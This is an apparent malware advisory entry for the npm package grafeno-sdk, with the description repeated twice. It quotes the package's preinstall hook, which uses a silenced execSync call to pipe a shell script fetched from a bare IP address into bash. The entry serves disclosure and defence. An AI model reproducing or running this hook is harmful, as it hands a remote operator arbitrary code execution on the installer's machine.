Malicious code in grafeno-sdk (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3) package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
Malicious code in grafeno-sdk (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3) package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
Affected software
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Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-15508
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a92f7d9acd9273b49e75ab0
Added to database: 08/29/2026, 15:16:41 UTC
Last updated: 08/29/2026, 15:26:56 UTC
Views: 2
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